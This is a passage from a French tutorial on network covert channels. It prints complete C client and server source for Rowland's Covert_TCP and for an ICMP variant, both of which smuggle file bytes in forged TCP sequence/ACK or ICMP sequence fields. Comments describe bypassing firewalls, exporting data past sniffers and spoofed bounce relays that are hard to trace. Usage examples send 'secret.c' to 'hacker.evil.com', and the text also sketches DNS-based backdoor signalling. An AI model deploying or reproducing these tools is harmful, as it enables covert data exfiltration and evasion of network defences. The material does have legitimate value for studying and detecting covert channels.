127    send_tcp.ip.version = 4;
128    send_tcp.ip.tos = 0;
129    send_tcp.ip.tot_len = htons(40);
130    send_tcp.ip.id =(int)(255.0*rand()/(RAND_MAX+1.0)); 
131    send_tcp.ip.frag_off = 0;
132    send_tcp.ip.ttl = 64; 
133    send_tcp.ip.protocol = IPPROTO_TCP;
134    send_tcp.ip.check = 0;
135    send_tcp.ip.saddr = source_addr;
136    send_tcp.ip.daddr = dest_addr;

137 if(source_port == 0) 
138    send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));

139 else 
140    send_tcp.tcp.source = htons(source_port);

141    send_tcp.tcp.seq = ch;

142    send_tcp.tcp.dest = htons(dest_port);

143    send_tcp.tcp.ack_seq = 0;
144    send_tcp.tcp.res1 = 0;
145    send_tcp.tcp.doff = 5;
146    send_tcp.tcp.fin = 0;
147    send_tcp.tcp.syn = 1;
148    send_tcp.tcp.rst = 0;
149    send_tcp.tcp.psh = 0;
150    send_tcp.tcp.ack = 0;
151    send_tcp.tcp.urg = 0;
152    send_tcp.tcp.ece = 0;
153    send_tcp.tcp.window = htons(512);
154    send_tcp.tcp.check = 0;
155    send_tcp.tcp.urg_ptr = 0;

156    sin.sin_family = AF_INET;
157    sin.sin_port = send_tcp.tcp.source;
158    sin.sin_addr.s_addr = send_tcp.ip.daddr;   

159    send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
160    if(send_socket < 0)
161    {
162       perror("send socket cannot be open. Are you root?");
163       exit(1);
164    }

165       send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
166       
167       pseudo_header.source_address = send_tcp.ip.saddr;
168       pseudo_header.dest_address = send_tcp.ip.daddr;
169       pseudo_header.placeholder = 0;
170       pseudo_header.protocol = IPPROTO_TCP;
171       pseudo_header.tcp_length = htons(20);

172       bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);

173       send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);

174       sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
175       printf("Sending Data: %c\n",ch);

176   close(send_socket);
177  } 

178 fclose(input);
179 } 


180 unsigned int host_convert(char *hostname){
181    static struct in_addr i;
182    struct hostent *h;
183    i.s_addr = inet_addr(hostname);
184    if(i.s_addr == -1)
185    {
186       h = gethostbyname(hostname);
187       if(h == NULL)
188       {
189          fprintf(stderr, "cannot resolve %s\n", hostname);
190          exit(0);
191       }
192       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
193    }
194    return i.s_addr;
195 }

196 unsigned short in_cksum(unsigned short *ptr, int nbytes){
197         register long           sum;            /* assumes long == 32 bits 
198 */
199         u_short                 oddbyte;
200         register u_short        answer;         /* assumes u_short == 16 bits */

201         /*
202          * Our algorithm is simple, using a 32-bit accumulator (sum),
203          * we add sequential 16-bit words to it, and at the end, fold back
204          * all the carry bits from the top 16 bits into the lower 16 bits.
205          */

206         sum = 0;
207         while (nbytes > 1)  {
208                 sum += *ptr++;
209                 nbytes -= 2;
210         }

211                                 /* mop up an odd byte, if necessary */
212         if (nbytes == 1) {
213                 oddbyte = 0;            /* make sure top half is zero */
214                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
215                 sum += oddbyte;
216         }

217         /*
218          * Add back carry outs from top 16 bits to low 16 bits.
219          */

220         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
221         sum += (sum >> 16);                     /* add carry */
222         answer = ~sum;          /* ones-complement, then truncate to 16 bits 
223 */
224         return(answer);
225 }


226 void usage(char *progname){

227       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
228 filename -source_port port -dest_port port\n\n", 
229 progname);
230       printf("-dest dest_ip      - Host to send data to.\n");
231       printf("-source source_ip  - Host where you want the data to originate \
232 from.\n");
233       printf("-source_port port  - IP source port you want data to appear from. \n");
234       printf("                     (randomly set by default)\n");
235       printf("-dest_port port    - IP source port you want data to go to. In\n");
236       printf("                     SERVER mode this is the port data will be coming\n");
237       printf("                     inbound on. Port 80 by default.\n");
238       printf("-file filename     - Name of the file to encode and transfer.\n");
239       printf("\nPress ENTER for examples.");
240       getchar();
241       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com - \
242 source_port 1234 -dest_port 80 -file secret.c\n\n");
243       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
244       printf("at a time using the default IP packet ID encoding.\n");
245       exit(0);
246 }

client.h: on retrouve les headers nécessaires au programme et le prototype des fonctions de notre création.
Dans client.c:
lignes 28 à 91: on filtre les options passées au programme et on les stocks.
ligne 92: on appel la fonction forgepacket() qui s'occupe de presque tout.
lignes 97 à 110: on créé une structure contenant les header IP et TCP et on créé le pseudo header TCP.
ligne 116: on initialise le générateur de nombres pseudo-aléatoire.
lignes 118 à 122: on essaye d'ouvrir le fichier qui contient les données envoyées.
ligne 123 à 179: on créé une boucle qui s'occupe de remplir l'header et de l'envoyer pour chaque caractère présent dans le fichier texte.
ligne 125: on retrouve le sleep(1) qui s'occupe d'espacer le temps d'envoie pour éviter les pertes de données.
ligne 141: on voit bien la copie du caractère (de son code ASCII exacement) dans le champ N° de Séquence.
lignes 178 et 179: on ferme le fichier et la fonction principale.
lignes 180 à 195: la fonction host_convert() sert à résoudre les ip passées au programme.
lignes 196 à 225: la fonction servant à calculer le checksum (il s'agit d'une fonction passe-partout pour calculer les checksum des paquets UDP et TCP).
lignes 226 à 246: cette fonction sert à afficher l'aide.

Du côter du serveur:

server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>

12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13        int, int);
14        
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);

server.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
5 * 
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header. 
10 * This is useful for bypassing firewalls from the inside, and for 
11 * exporting data with innocuous looking packets that contain no data for 
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk. 
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 * 
21 * Portions of this code based on ping.c (c) 1987 Regents of the 
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */

26 #include "server.h"

27 int main(int argc, char *argv[]){

28    unsigned int source_host=0,dest_host=0;
29    unsigned short source_port=0,dest_port=80;
30    int seq=0,ack=0,file=0;
31    int count;
32    char desthost[80],srchost[80],filename[80];

33    if(geteuid() !=0)
34     {
35     printf("\nYou need to be root to run this.\n\n");
36     exit(0);
37     }

38    if((argc < 6) || (argc > 13))
39    {
40    usage(argv[0]);
41    exit(0);
42    }


43    for(count=0; count < argc; ++count)
44     {
45     if (strcmp(argv[count],"-dest") == 0)
46      {
47      dest_host=host_convert(argv[count+1]); 
48      strncpy(desthost,argv[count+1],79);
49      }
50      
51     else if (strcmp(argv[count],"-source") == 0)
52      {
53      source_host=host_convert(argv[count+1]); 
54      strncpy(srchost,argv[count+1],79);
55      }

56     else if (strcmp(argv[count],"-file") == 0)
57      {
58      strncpy(filename,argv[count+1],79);
59      file=1;
60      }

61     else if (strcmp(argv[count],"-source_port") == 0)
62       source_port=atoi(argv[count+1]);

63     else if (strcmp(argv[count],"-dest_port") == 0)
64       dest_port=atoi(argv[count+1]);

65     else if (strcmp(argv[count],"-seq") == 0)
66       seq=1;

67     else if (strcmp(argv[count],"-ack") == 0)
68       ack=1;

69     }
70     
71    if(seq+ack == 0)
72     seq=1; 
73     
74    else if (seq+ack !=1)
75     {
76     printf("\n\nOnly one encoding/decode flag (-seq -ack) can be used at a time.\n\n");
77     exit(1);
78     }

79    if(file != 1)
80     {
81     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
82     exit(1);
83     }
84     
85     if (source_host == 0 && source_port == 0)
86       {
87       printf("You need to supply a source address and/or source port for server mode.\n");
88       exit(1);
89       }

90      if(dest_host == 0)
91       strcpy(desthost,"Any Host");

92      if(source_host == 0)
93       strcpy(srchost,"Any Host");

94      printf("Listening for data from IP: %s\n",srchost);
95      
96      if(source_port == 0)
97       printf("Listening for data bound for local port: Any Port\n");

98      else
99       printf("Listening for data bound for local port: %u\n",source_port);

100      printf("Decoded Filename: %s\n",filename);

101      if(seq == 1)
102       printf("Decoding Type Is: IP Sequence Number\n");

103      else if(ack == 1)
104       printf("Decoding Type Is: IP ACK field bounced packet.\n");

105      printf("\nServer Mode: Listening for data.\n\n");

106      forgepacket(source_host, dest_host, source_port, dest_port,filename,seq,ack);
107    exit(0);
108 }

109 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
110 short source_port, unsigned short dest_port, char *filename, int seq, int ack) {

111    struct recv_tcp
112    {
113       struct iphdr ip;
114       struct tcphdr tcp;
115       char buffer[10000];
116    } recv_pkt;

117    int recv_socket;
118    FILE *output;
119    
120    srand((getpid())*(dest_port)); 
121    
122     if((output=fopen(filename,"wb"))== NULL)
123   {
124   printf("I cannot open the file %s for writing\n",filename);
125   exit(1);
126   }

127  while(1) 
128  {

129    recv_socket = socket(AF_INET, SOCK_RAW, 6);
130    
131    if(recv_socket < 0)
132    {
133       perror("receive socket cannot be open. Are you root?");
134       exit(1);
135    }

136   read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
137         if (source_port == 0) 
138         {       
139                 if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr)) 
140                 {
141         if (seq==1)
142                         {
143                          printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
144                          fprintf(output,"%c",recv_pkt.tcp.seq); 
145                          fflush(output);
146                         }

147         /* Use a bounced packet from a remote server to decode the data */
148         /* This technique requires that the client initiates a SEND to */
149         /* a remote host with a SPOOFED source IP that is the location */
150         /* of the listening server. The remote server will receive the packet */
151         /* and will initiate an ACK of the packet with the encoded sequence */
152         /* number+1 back to the SPOOFED source. The covert server is waiting at this */
153         /* spoofed address and can decode the ack field to retrieve the data */
154         /* this enables an "anonymous" packet transfer that can bounce */
155         /* off any site. This is VERY hard to trace back to the originating */
156         /* source. This is pretty nasty as far as covert channels go... */
157         /* Some routers may not allow you to spoof an address outbound */
158         /* that is not on their network, so it may not work at all sites... */
159         /* SENDER should use covert_tcp with the -seq flag and a forged -source */
160         /* address. RECEIVER should use the -server -ack flags with the IP of */
161         /* of the server the bounced message will appear from.. CHR */

162         /* The bounced ACK sequence number is really the original sequence*/
163         /* plus one (ISN+1). However, the translation here drops some of the */
164         /* bits so we get the original ASCII value...go figure.. */

165                         else if (ack==1)
166                         {
167                          printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
168                          fprintf(output,"%c",recv_pkt.tcp.ack_seq); 
169                          fflush(output);
170                         }
171                 } 
172         } 

173         else
174         {
175                 if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port)) 
176                 {
177         if (seq==1)
178                         {
179                         printf("Receiving Data: %c\n",recv_pkt.tcp.seq);
180                         fprintf(output,"%c",recv_pkt.tcp.seq); 
181                         fflush(output);
182                         }
183                       
184                         else if (ack==1)
185                         {
186                         printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq);
187                         fprintf(output,"%c",recv_pkt.tcp.ack_seq); 
188                         fflush(output);
189                         }
190                 } 
191         } 

192    close(recv_socket); 
193   }

194   fclose(output);
195 }

196 unsigned short in_cksum(unsigned short *ptr, int nbytes)
197 {
198         register long           sum;            /* assumes long == 32 bits 
199 */
200         u_short                 oddbyte;
201         register u_short        answer;         /* assumes u_short == 16 bits */

202         /*
203          * Our algorithm is simple, using a 32-bit accumulator (sum),
204          * we add sequential 16-bit words to it, and at the end, fold back
205          * all the carry bits from the top 16 bits into the lower 16 bits.
206          */

207         sum = 0;
208         while (nbytes > 1)  {
209                 sum += *ptr++;
210                 nbytes -= 2;
211         }

212                                 /* mop up an odd byte, if necessary */
213         if (nbytes == 1) {
214                 oddbyte = 0;            /* make sure top half is zero */
215                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
216                 sum += oddbyte;
217         }

218         /*
219          * Add back carry outs from top 16 bits to low 16 bits.
220          */

221         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
222         sum += (sum >> 16);                     /* add carry */
223         answer = ~sum;          /* ones-complement, then truncate to 16 bits 
224 */
225         return(answer);
226 }


227 unsigned int host_convert(char *hostname)
228 {
229    static struct in_addr i;
230    struct hostent *h;
231    i.s_addr = inet_addr(hostname);
232    if(i.s_addr == -1)
233    {
234       h = gethostbyname(hostname);
235       if(h == NULL)
236       {
237          fprintf(stderr, "cannot resolve %s\n", hostname);
238          exit(0);
239       }
240       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
241    }
242    return i.s_addr;
243 } 


244 void usage(char *progname)
245 {
246       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
247 filename -source_port port -dest_port port [encode type]\n\n", 
248 progname);
249       printf("-dest dest_ip      - Host to send data to.\n");
250       printf("-source source_ip  - Host data will be coming FROM.\n");
251       printf("-source_port port  - IP source port you want data to appear from. \n");
252       printf("                     (randomly set by default)\n");
253       printf("-dest_port port    - IP source port you want data to go to. In\n");
254       printf("                     SERVER mode this is the port data will be coming\n");
255       printf("                     inbound on. Port 80 by default.\n");
256       printf("-file filename     - Name of the file to encode and transfer.\n");
257       printf("[Encode Type] - Optional encoding type\n");
258       printf("-seq  - Encode data a byte at a time in the packet sequence \
259 number.\n");
260       printf("-ack  - DECODE data a byte at a time from the ACK field.\n");
261       printf("        This ONLY works from server mode and is made to decode\n");
262       printf("        covert channel packets that have been bounced off a remote\n");
263       printf("        server using -seq. See documentation for details\n");
264       printf("\nPress ENTER for examples.");
265       getchar();
266       printf("\nExample: \nserver -dest foo.bar.com -source hacker.evil.com - \
267 dest_port 80 -file secret.c\n\n");
268       printf("Above listens passively for packets from  hacker.evil.com\n");
269       printf("destined for port 80. It takes the data and saves the file locally\n");
270       printf("as secret.c\n\n");
271       exit(0);
272 } 

Dans server.c:
lignes 28 à 105: on filtre les données passées au programme.
lignes 111 à 116: on créé une structure contenant les header IP et TCP et le corps.
lignes 127 à 136: on mets en écoute le serveur. Ici le code est particulièrement sale étant donné qu'il n'y a aucune vérification avant le read(). Mais si vous voulez l'améliorer libre à vous :).
[Note Pour les Newbies: on passe en argument à read() l'adresse de la structure contenant les formats des header, cette technique s'appelle un cast].
lignes 137 à 146: on récupère les données dans le champ N° de Séquence et on les écris dans un fichier.
lignes 147 à 164: un commentaire explicant le fonctionnement de la technique utilisant le N° de ACK, l'auteur du code explique que comme certains bits sont perdus pendant la translation integer vers char malgré que le N° de ACK soit différent du N° de Séquence, la valeur au finale reste la même.
lignes 165 à 170: on récupère les données dans ce fameux champ N° de ACK.
lignes 173 à 191: on recommence (même chose que lignes 137 à 164) sauf que ce coup-ci le port source est défini par l'utilisateur et on le compare par rapport au port source contenu dans l'header TCP ligne 175.
Pour la suite il s'agit des mêmes fonctions que pour le client qui font strictement la même chose.

Bon comme ce code n'est pas de moi je vais éviter de trop cracher dessus :) mais comme vous le voyez l'auteur dit bien qu'il s'agit d'un proof of concept et qu'il peut être facilement améliorer. Déjà on pourrait mettre un système de gestion des erreurs, utiliser le multi-threads...

[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc793.html

[FrameIp]
http://www.frameip.com/entetetcp/

[ROWLANDCOVER]
http://ouah.kernsh.org/rowlandcover.htm

Exemple: Protocole UDP

Comme d'habitude si vous voulez plus d'informations sur le protocole UDP allez voir la [RFC] ou sur [FrameIp].
Le header UDP ressemble à ça :
http://www.frameip.com/enteteudp/
On voit très vite que cet header ne présente que peu d'intérêt pour nous, tous les champs sont utiliser lors des communication il est donc impossible d'y inclure des données.
Les paquets UDP tout comme TCP utilisent un pseudo header pour se protéger des erreurs de routage:
http://www.frameip.com/enteteudp/
Et là aussi on ne peut pas en tiré grand chose...
Mais qu'à cela ne tienne il existe encore une partie des paquets UDP non utiliser, le corps.
Bien sûr il ne faut pas balancer ses données comme ça dans le corps, ce serait bien trop visible.
La technique la plus utilisée par les hackers est généralement de planquer les données dans les requêtes DNS.
Ce protocole est extrêmement utiliser et je vous propose d'aller voir la [RFC] DNS pour mieux connaître ce protocole.

Il existe dans le header des paquets DNS un champ appeler name qui ressemble à 217.224.247.80.in-addr.arpa.
Les 4 premiers nombres sont une adresse ip, suivie généralement de .in-addr.arpa. Là ou l'on peut cacher des données c'est dans les 4 premiers nombres mais il ne faut pas que ceux-ci dépasse 255 ou soient négatif. Il faut donc formatter les données mais dans le cas où l'on envoie une commande à une backdoor, c'est largement suffisant.

Pour le covert channel DNS je vous laisse trouver des utilitaires qui le font (allez voir à la fin de l'article).
De plus au niveau de la programmation de DNS on utilise les sock_dgram qui ne nécessite pas les droits root.

[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc768.html

[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc1034.html

[FrameIp]
http://www.frameip.com/enteteudp/

Exemple: Protocole ICMP

Le protocole ICMP est un protocole de choix en matière de covert channel ou même de tunneling.
Pour utiliser le protocole ICMP on utilise les sock_raw et donc le programme nécessite les droits root.
Vous avez l'habitude maintenant, pour plus d'informations sur le protocole ICMP allez voir la [RFC].
Le header ICMP est bien plus simple que les autres, même comparer aux deux header UDP.

Le header ICMP ressemble à:
http://www.frameip.com/enteteicmp/
Il n'y a que deux champs qui peuvent nous intéresser :
- Identifiant: il peut être utilisé par l'émetteur du message d'écho afin d'associer facilement l'écho et sa réponse (tout comme le numéro de port destination pour TCP ou UDP). On lui attribue généralement le numéro de PID du processus.
- Numéro de Séquence: Son utilité est la même que l'identifiant en complément de celui-ci. Il est généralement incrémenter de 1 à chaque message d'écho envoyer.

Ces deux champs représentent 32 bits ce qui est pas mal dans un header.
Si vous ne voulez pas vous tapez toute la RFC, allez donc sur [FrameIp].
Le code source utilise le champ N° de Séquence pour caché les données.

En pratique cela donne :
Ce code viens de moi mais est fortement inspiré du code précédent de Rowland.

client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/icmp.h>

12 void forgepacket(unsigned int, unsigned int, char *);
13 unsigned int host_convert(char *);
14 unsigned short in_cksum(unsigned short *, int);
15 void usage(char *);

client.c:
1 #include "client.h"

2 int main(int argc, char *argv[]) {    
3    unsigned int source_host=0,dest_host=0;
4    int file=0;
5    int count;
6    char desthost[80],srchost[80],filename[80];
7    if(geteuid() !=0)
8     {
9     printf("\nYou need to be root to run this.\n\n");
10     exit(0);
11     }
12     
13    if((argc < 5) || (argc > 13))
14    {
15    usage(argv[0]);
16    exit(0);
17    }    
18    for(count=0; count < argc; ++count)
19     {
20     if (strcmp(argv[count],"-dest") == 0)
21      {
22      dest_host=host_convert(argv[count+1]); 
23      strncpy(desthost,argv[count+1],79);
24      }
25      
26     else if (strcmp(argv[count],"-source") == 0)
27      {
28      source_host=host_convert(argv[count+1]); 
29      strncpy(srchost,argv[count+1],79);
30      }  
31     else if (strcmp(argv[count],"-file") == 0)
32      {
33      strncpy(filename,argv[count+1],79);
34      file=1;
35      }
36     }
37    if(file != 1)
38     {
39     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
40     exit(1);
41     }
42      if (source_host == 0 && dest_host == 0)
43       {
44       printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
45       exit(1);
46       }
47      else
48       {
49       printf("Destination Host: %s\n",desthost);
50       printf("Source Host     : %s\n",srchost);
51       printf("Encoded Filename: %s\n",filename);
52        printf("Encoding Type   : ICMP Seq\n");
53        printf("\nClient Mode: Sending data.\n\n");
54       
55      }
56      
57      forgepacket(source_host, dest_host, filename);
58      exit(0);
59 }

60 void forgepacket(unsigned int source_addr, unsigned int dest_addr,  char *filename) {
61    struct send_icmp
62    {
63       struct iphdr ip;
64       struct icmphdr icmp;
65    } send_icmp;
66    int ch, szpkt;
67    int send_socket;
68    struct sockaddr_in sin;
69    FILE *input;
70    
71  srand((getpid())*(sizeof(int))); 
72    szpkt=sizeof(struct iphdr) + sizeof(struct icmphdr);
73    
74  if((input=fopen(filename,"rb"))== NULL) {
75    printf("I cannot open the file %s for reading\n",filename);
76    exit(1);
77  }
78  
79  else while((ch=fgetc(input)) !=EOF)
80   {

81  sleep(1);

82    send_icmp.ip.ihl = 5;
83    send_icmp.ip.version = 4;
84    send_icmp.ip.tos = 0;
85    send_icmp.ip.tot_len = htons(40);
86    send_icmp.ip.id = (int)(255.0*rand()/(RAND_MAX+1.0));
87    send_icmp.ip.frag_off = 0;
88    send_icmp.ip.ttl = 64; 
89    send_icmp.ip.protocol = IPPROTO_ICMP;
90    send_icmp.ip.check = 0;
91    send_icmp.ip.saddr = source_addr;
92    send_icmp.ip.daddr = dest_addr;

93    send_icmp.icmp.type = 8;
94    send_icmp.icmp.code = 0;
95    send_icmp.icmp.un.echo.id = 1000;
96    
97    send_icmp.icmp.un.echo.sequence = ch;
98  
99    sin.sin_family = AF_INET;
100    sin.sin_addr.s_addr = send_icmp.ip.daddr;   
101    send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
102    if(send_socket < 0)
103    {
104       perror("send socket cannot be open. Are you root?");
105       exit(1);
106    }
107   
108       send_icmp.ip.check = in_cksum((unsigned short *)&send_icmp.ip, 20);
109       
110       send_icmp.icmp.checksum = 0;
111       send_icmp.icmp.checksum = in_cksum((unsigned short *)&send_icmp.icmp, sizeof(struct icmphdr));
112       
113       sendto(send_socket, &send_icmp, szpkt, 0, (struct sockaddr *)&sin, sizeof(sin));
114       printf("Sending Data: %c\n",ch);
115   close(send_socket);
116  } 
117 fclose(input);
118 } 

119 unsigned int host_convert(char *hostname){
120    static struct in_addr i;
121    struct hostent *h;
122    i.s_addr = inet_addr(hostname);
123    if(i.s_addr == -1)
124    {
125       h = gethostbyname(hostname);
126       if(h == NULL)
127       {
128          fprintf(stderr, "cannot resolve %s\n", hostname);
129          exit(0);
130       }
131       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
132    }
133    return i.s_addr;
134 }

135 unsigned short in_cksum(unsigned short *data, int taille)
136     {
137     unsigned long checksum=0;
138     // ********************************************************
139     // Complement a 1 de la somme des complément a 1 sur 16 bits
140     // ********************************************************
141     while(taille>1)
142         {
143         checksum=checksum+*data++;
144         taille=taille-sizeof(unsigned short);
145         }
146     if(taille)
147         checksum=checksum+*(unsigned char*)data;
148     checksum=(checksum>>16)+(checksum&0xffff);
149     checksum=checksum+(checksum>>16);
150     return (unsigned short)(~checksum);
151     }

152 void usage(char *progname){
153       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
154 filename\n\n", 
155 progname);
156       printf("-dest dest_ip      - Host to send data to.\n");
157       printf("-source source_ip  - Host where you want the data to originate \
158 from.\n");
159       printf("-file filename     - Name of the file to encode and transfer.\n");
160       printf("\nPress ENTER for examples.");
161       getchar();
162       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com -file secret.c\n\n");
163       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
164       printf("at a time using the default ICMP packet Seq encoding.\n");
165       exit(0);
166 }

Bon on va passer directement au contenu de client.c vous savez maintenant à quoi sert client.h
lignes 2 à 56: on filtre les arguments passés au programme.
ligne 57: on appel forgepacket() qui s'occupe du plus important.
ligne 71: on initialise le générateur de nombre pseudo-aléatoire à l'aide d'une graine pas assez variable (à améliorer).
ligne 72: pour améliorer le code je calcul la taille réelle des header IP+ICMP pour la passer à sendto() ligne 113.
La suite est quasiement pareil que pour TCP sauf:
ligne 97: on mets le caractère dans le champ N° de Séquence.
ligne 110: pour calculer le checksum d'un paquet ICMP il faut initialiser le champ à 0 (ce qui n'est pas obligatoire pour TCP).
lignes 135 à 151: on utilise une autre fonction pour calculer le checksum. La façon de le calculer varie en fonction du protocole : UDP et TCP ont besoin de la fonction du code précédent, IGMP et ICMP ont besoin de cette routine.

Du côter du serveur:
server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/icmp.h>

12 void forgepacket(unsigned int, unsigned int, char *);
13        
14 unsigned int host_convert(char *);
15 void usage(char *);

server.c:
1 #include "server.h"

2 int main(int argc, char *argv[]){

3    unsigned int source_host=0,dest_host=0;
4    int ipid=0,file=0;
5    int count;
6    char desthost[80],srchost[80],filename[80];

7    if(geteuid() !=0)
8     {
9     printf("\nYou need to be root to run this.\n\n");
10     exit(0);
11     }

12    if((argc < 5) || (argc > 13))
13    {
14    usage(argv[0]);
15    exit(0);
16    }

17    for(count=0; count < argc; ++count)
18     {
19     if (strcmp(argv[count],"-dest") == 0)
20      {
21      dest_host=host_convert(argv[count+1]); 
22      strncpy(desthost,argv[count+1],79);
23      }
24      
25     else if (strcmp(argv[count],"-source") == 0)
26      {
27      source_host=host_convert(argv[count+1]); 
28      strncpy(srchost,argv[count+1],79);
29      }
30     else if (strcmp(argv[count],"-file") == 0)
31      {
32      strncpy(filename,argv[count+1],79);
33      file=1;
34      }
35     }

38   
39    if(file != 1)
40     {
41     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
42     exit(1);
43     }
44     
45      if(dest_host == 0) 
46       strcpy(desthost,"Any Host");
47      if(source_host == 0)
48       strcpy(srchost,"Any Host");
49      printf("Listening for data from IP: %s\n",srchost);
50      
51      printf("Decoded Filename: %s\n",filename);
52       printf("Decoding Type Is: ICMP Seq\n"); 
53      printf("\nServer Mode: Listening for data.\n\n");
54      forgepacket(source_host, dest_host, filename);
55    exit(0);
56 }

57 void forgepacket(unsigned int source_addr, unsigned int dest_addr, char *filename) {
58    struct recv_icmp
59    {
60       struct iphdr ip;
61       struct icmphdr icmp;
62    } recv_pkt;
63    
64    struct sockaddr_in sin;
65    
66    int recv_socket;
67    char *buf = (char *)malloc(2048*sizeof(char));
68    FILE *output;
69    
70    srand((getpid())*(sizeof(int))); 
71     if((output=fopen(filename,"wb"))== NULL) {
72      printf("I cannot open the file %s for writing\n",filename);
73      exit(1);
74     }
75  while(1) 
76  {
77    recv_socket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
78    
79    if(recv_socket < 0)
80    {
81       perror("receive socket cannot be open. Are you root?");
82       exit(1);
83    }
84    
85  read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
86  
87    if((recv_pkt.icmp.type == 8) && (recv_pkt.icmp.code == 0)) {    
88       printf("Receiving Data: %c\n",recv_pkt.icmp.un.echo.sequence);
89       fprintf(output,"%c",recv_pkt.icmp.un.echo.sequence);
90       fflush(output);
91    } 
92    close(recv_socket); 
93   }
94   fclose(output);
95 }

96 unsigned int host_convert(char *hostname)
97 {
98    static struct in_addr i;
99    struct hostent *h;
100    i.s_addr = inet_addr(hostname);
101    if(i.s_addr == -1)
102    {
103       h = gethostbyname(hostname);
104       if(h == NULL)
105       {
106          fprintf(stderr, "cannot resolve %s\n", hostname);
107          exit(0);
108       }
109       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
110    }
111    return i.s_addr;
112 } 

113 void usage(char *progname)
114 {
115       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file filename\n\n", 
116 progname);
117       printf("-dest dest_ip      - Host to send data to.\n");
118       printf("-source source_ip  - Host data will be coming FROM.\n");
119       printf("-file filename     - Name of the file to encode and transfer.\n");
120       printf("\nPress ENTER for examples.");
121       getchar();
122       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com -file secret.c\n\n");
123       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
124       printf("at a time using the default IP packet ID encoding.\n");
125       exit(0);
126 } 

Bon on va passer directement au code qui nous intéresse, le reste est trivial et déjà expliquer plus haut.
Dans server.c:
ligne 87 à 90: si on reçoit bien un echo request on récupère le contenu du champ N° de Séquence du paquet reçu et on le balance dans un fichier.
Il y a peut-être moyen d'utiliser une méthode avec rebond, sachant que le N° de Séquence est incrémenté de 1 mais malheureusement cette spécificité n'est pas toujours respecter dans la pratique.
Comme pour les autres codes il y a surement beaucoup d'améliorations possibles.

[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc792.html

[FrameIp]
http://www.frameip.com/enteteicmp/

Exemple: Protocole IP

Le protocole IP est une couche en-dessous de ICMP, UDP ou TCP dans le modèle OSI. Il s'agit d'un protocole principalement utiliser pour le routage des données. Ce protocole possède un header assez simple bien que contenant plus d'informations qu'ICMP. Pour plus d'informations sur IP allez lire la [RFC].
Pour manipuler des paquets IP il faut utiliser les SOCK_RAW et donc il faut les droits root.
Le header IP ressemble à ça:
http://www.frameip.com/enteteip/
Le champs qui peuvent nous intéresser sont:
- Le champ Identification: il est utiliser lorsque l'on fait de la fragmentation, tous les fragments d'un paquet ont le même identifiant.
